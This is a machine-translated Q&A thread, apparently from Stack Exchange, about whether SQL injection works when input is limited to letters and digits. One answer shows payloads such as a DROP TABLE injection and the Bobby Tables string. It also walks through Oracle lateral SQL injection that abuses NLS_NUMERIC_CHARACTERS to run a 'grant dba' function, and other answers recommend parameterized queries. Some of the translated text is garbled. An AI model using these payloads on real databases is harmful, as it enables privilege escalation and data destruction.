我是SQL注入的新手,并且阅读了一些文章,许多黑客可能会使用';'在其输入中使用空格'',例如:
(1)用户名='123;删除表帐户'
(2)用户名='123和1 = 1'
但是问题是,如果我们只允许用户在客户端输入字母(大写和小写)和数字,则不允许使用其他任何字符,例如空格,分号,是否存在可以插入SQL语句的字符串? ?如果是这样,有人可以给我一个例子吗?谢谢!
请注意,我不问客户端是否可以阻止SQL注入,我只是想知道是否只有带有字母和数字的字符串才可以进行SQL注入。
答案 0 :(得分:3)
首先,您在客户端所做的任何事情都可以绕过。记住这一点的最简单方法是将“客户端”替换为“在攻击者的计算机上,他们可以完全控制”。
在网站的特定情况下,这可能很简单,就像攻击者在其浏览器上按F12键并编辑页面一样,或者它可能要求攻击者使用其他方法来设计HTTP请求,但您可以做的最多当他们弄清楚时,会使他们减速几分钟。 您无法控制攻击者可以尝试向您发送哪些数据。
第二,我想不出只使用数字和不带重音符号的攻击,但这并不意味着没有一个。另一方面,我想不出许多以这种方式限制输入仍会产生有用功能的地方。基于白名单的验证(在服务器端 )当然有其位置,但是需要针对每种情况提出正确的白名单,这使其成为一种笨拙的安全机制。
因此,最好还是先 ,以确保在使用数据的任何地方都使用正确的转义(转义总是关于输出/使用情况,而不是关于输入的使用情况,而不是关于输入的使用情况) /源),并在可能的情况下将数据与代码分离(例如,使用参数化查询而不是在SQL字符串中包含数据)。完成这项工作后,基于白名单的验证可能是明智的附加步骤。
答案 1 :(得分:3)
从您的所有评论中我了解到,您是在问这个问题:
是否可以进行SQL注入,只允许用户输入数字和字符A到Z(大写和小写)?
换句话说,您是说要进行SQL注入,用户需要能够输入Bobby Tables中所示的-
和'
这样的字符,而这种恶意用户输入:
Robert'); DROP TABLE STUDENTS; --
简短回答
是的,有可能。
长期回答
您或我们可能认为没有办法仅使用数字来进行SQL注入,但是可能碰巧有人聪明地找到一种方法。 有人确实找到了Oracle的方法!
想象一下我们具有以下功能:
CREATE OR REPLACE FUNCTION P01
RETURN NUMBER
AUTHID current_user
IS
PRAGMA autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'grant dba to scott';
RETURN 1;
END;
因此非常简单:名为P01
的函数将使scott
成为dba。在没有授予用户角色特权的情况下,有什么方法可以执行此功能?例如,如果您以非dba身份登录并发出此命令,则该命令将失败:
SET ROLE dba;
它将失败并产生此错误:
set role dba
*
ERROR at line 1:
ORA-01924: role 'DBA' not granted or does not exist
黑客的目标
如何执行功能P01
并使自己成为dba?
发现漏洞
这是唯一接受数字参数的函数,但是我们将看到可以在此处进行SQL注入:
1 CREATE OR REPLACE PROCEDURE NUM_PROC(n NUMBER)
2 IS
3 stmt VARCHAR2(2000);
4 BEGIN
5 stmt := 'select object_name from all_objects where object_id = ' || n;
6 EXECUTE IMMEDIATE stmt;
7 END;
该参数连接到sql语句的末尾。但是为了进行串联,必须将其从数字转换为字符串。弱点是Oracle引擎如何将数字转换为字符串。
根据this,Oracle使用会话变量 将NUMERIC值转换为字符串时为NLS_NUMERIC_CHARACTERS。格式 NLS_NUMERIC_CHARACTERS是一个字符串,其中第一个字符指定小数点分隔符,第二个字符指定组分隔符。
如果我们发出以下查询:
SELECT TO_NUMBER('1.01', '0D00') FROM dual;
它将字符串1.01
转换为数字1.01
。但是,如果我们像这样更改NLS_NUMERIC_CHARACTERS
:
ALTER SESSION SET NLS_NUMERIC_CHARACTERS='P ';
并发出以下查询:
SELECT TO_NUMBER('1P01', '0D00') FROM dual;
它将把字符串1P01
转换为数字P01
(请注意,P
是十进制分隔符,因为我们将NLS_NUMERIC_CHARACTERS
设置为P
)。啊哈!它已将其转换为P01
,这也恰好是该函数的名称,这是最终目标……更进一步。
黑客
即使用户没有特权,该用户现在也可以执行以下操作:
EXEC SYS.NUM_PROC(TO_NUMBER('P01', 'D00'));
作为回顾,这里再次是SYS.NUM_PROC
的代码:
1 CREATE OR REPLACE PROCEDURE NUM_PROC(n NUMBER)
2 IS
3 stmt VARCHAR2(2000);
4 BEGIN
5 stmt := 'select object_name from all_objects where object_id = ' || n;
6 EXECUTE IMMEDIATE stmt;
7 END;
由于TO_NUMBER('P01', 'D00')
将产生P01
作为输出,因此stmt
将被分配以下内容:
select object_name from all_objects where object_id = 1P01
,它将立即执行该语句并执行1P01
。目标达成。 成功完成了,用户现在就好了!
当然,我不够聪明,无法解决所有这些问题,我从Lateral SQL Injection获得了信息。
答案 2 :(得分:2)
某些情况下,SQL注入使用十六进制编码来从过滤器中隐藏字符串值。如果您的客户端代码仅过滤该值包含字母和数字的情况,那么该值仍允许使用十六进制数字的长字符串,并且服务器将其插入到SQL中时可以对其进行解码。
我同意@IMSoP,您根本不应该依赖客户端代码。任何攻击者都可以修改客户端代码,并绕过您编写的检查。最好在服务器端使用参数化查询。